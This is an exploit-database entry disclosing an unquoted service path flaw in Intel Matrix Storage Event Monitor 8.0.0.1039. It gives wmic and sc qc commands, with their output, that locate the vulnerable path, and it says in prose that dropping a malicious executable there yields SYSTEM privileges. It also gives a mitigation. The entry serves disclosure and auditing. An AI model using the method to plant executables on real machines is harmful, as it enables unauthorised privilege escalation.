Intel(R) Matrix Storage Event Monitor x86 8.0.0.1039 - 'IAANTMON' Unquoted Service Path

vendor:

Matrix Storage Event Monitor

by:

Geovanni Ruiz

7.2

CVSS

HIGH

Unquoted Service Path

426

CWE

Product Name: Matrix Storage Event Monitor

Affected Version From: 8.0.0.1039

Affected Version To: 8.0.0.1039

Patch Exists: NO

Related CWE: N/A

CPE: a:intel:matrix_storage_event_monitor:8.0.0.1039

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Microsoft® Windows Vista Business 6.0.6001 Service Pack 1 x64es

2021

Intel(R) Matrix Storage Event Monitor x86 8.0.0.1039 – ‘IAANTMON’ Unquoted Service Path

An attacker requires to drop a malicious executable into the service path undetected by the OS in order to gain SYSTEM privileges.

Mitigation:

Ensure that all services have a fully qualified path to the executable.

Source

Exploit-DB raw data:

# Exploit Title: Intel(R) Matrix Storage Event Monitor x86 8.0.0.1039 - 'IAANTMON' Unquoted Service Path
# Date: 2021-01-04
# Exploit Author: Geovanni Ruiz
# Vendor Homepage: https://www.intel.com
# Software Version: 8.0.0.1039
# File Version: 8.0.0.1039
# Tested on: Microsoft® Windows Vista Business 6.0.6001 Service Pack 1 x64es

# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%IAANTMON%"' get name, displayname,
pathname, startmode, startname

DisplayName                             Name    PathName
                                              StartMode  StartName
Intel(R) Matrix Storage Event Monitor  IAANTMON C:\Program Files
(x86)\Intel\Intel Matrix Storage Manager\IAANTMon.exe   Auto
LocalSystem

# 2. To check service info:

C:\>sc qc "IAANTMON"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: IAANTMON
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Intel\Intel Matrix
Storage Manager\IAANTMon.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Intel(R) Matrix Storage Event Monitor
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

# 3. Exploit:

To exploit this vulnerability an attacker requires to drop a malicious
executable into the service path undetected by the OS in order
to gain SYSTEM privileges.